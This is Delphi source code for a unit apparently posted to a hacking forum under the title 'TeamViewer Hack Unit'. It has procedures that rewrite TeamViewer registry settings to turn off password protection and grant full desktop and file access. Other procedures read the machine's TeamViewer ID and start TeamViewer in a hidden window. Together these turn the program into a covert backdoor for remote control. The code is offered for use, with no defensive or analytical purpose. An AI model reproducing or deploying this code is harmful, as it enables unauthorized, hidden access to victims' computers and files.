TeamViewer Hack Unit - Printable Version

Code
(*

--

Author   : DarkCoderSc

From  : France

Mail  : [email protected]

--

Comunity : Http://www.opensc.ws/

--

Require Registry.pas , Classes , Sysutils to be add in uses

--

*)



unit UntTVHack;



interface



Uses Windows,Registry,Sysutils,ShellAPI;

{--}

Procedure TVUnactivePassWD;

Procedure TVFullAccess;

Function TVID : Integer;

Function TVFormatIDToString(TID:Integer) : String;

Procedure RunTVHide;

Function TVCheckVersion : String;

Function TVGetFullVersion : String;

Function GetTVPath:String;

{--}

implementation



{--}

Const TeamViewer0 = 'SOFTWARE\TeamViewer';

{--}



{Get the TV Version--}

Function TVCheckVersion : String;

var Reg : TRegistry;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0,True);

If Reg.KeyExists('Version3') Then Result := '\Version3';

If Reg.KeyExists('Version4') Then Result := '\Version4';

If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then

Result := '[Not Installed]';

{--}

Reg.CloseKey;

Reg.Free;

End;

{--}



{Get the Full TV Version--}

Function TVGetFullVersion : String;

var Reg : TRegistry;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0+TVCheckVersion,True);

Result := Reg.ReadString('Version');

{--}

Reg.CloseKey;

Reg.Free;

End;

{--}



{This will unactive team viewer pass word protection O_o}

Procedure TVUnactivePassWD;

var Reg : TRegistry;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0+TVCheckVersion,True);

Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query

{--}

Reg.CloseKey;

Reg.Free;

End;

{--}



{This will give the full access of dekstop and files}

Procedure TVFullAccess;

var Reg : TRegistry;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);

Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query

{--}

Reg.CloseKey;

Reg.Free;

End;

{--}



{This will give the Team Viewer ID}

Function TVID : Integer;

var Reg : TRegistry;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0+TVCheckVersion,True);

Result := Reg.ReadInteger('ClientID'); // Disable Password query

{--}

Reg.CloseKey;

Reg.Free;

End;

{--}



{This little function will format in String- the TeamViewer ID}

Function TVFormatIDToString(TID:Integer) : String;

Var bloc,bloc1,bloc2,bloc3:String;

Begin

bloc := IntToStr(TID);

{Parse ID--}

bloc1 := Copy(bloc,1,3);

Delete(bloc,1,3);

bloc2 := Copy(bloc,1,3);

Delete(bloc,1,3);

bloc3 := Copy(bloc,1,3);

Delete(bloc,1,3);

{--}

Result := bloc1+' '+bloc2+' '+bloc3;

End;

{--}



{Now Launch Team Viewer Hidely}

Procedure RunTVHide;

var Reg : TRegistry;

TVPATH : String;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0+TVCheckVersion,True);

TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path

{--}

ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);

{--}

Reg.CloseKey;

Reg.Free;

End;



Function GetTVPath:String;

var Reg : TRegistry;

TVPATH : String;

Begin

Reg := TRegistry.Create;

{--}

Reg.RootKey := HKEY_LOCAL_MACHINE;

Reg.OpenKey(TeamViewer0+TVCheckVersion,True);

TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path

{--}

Result := TVPath;

{--}

Reg.CloseKey;

Reg.Free;

End;

{--}

end.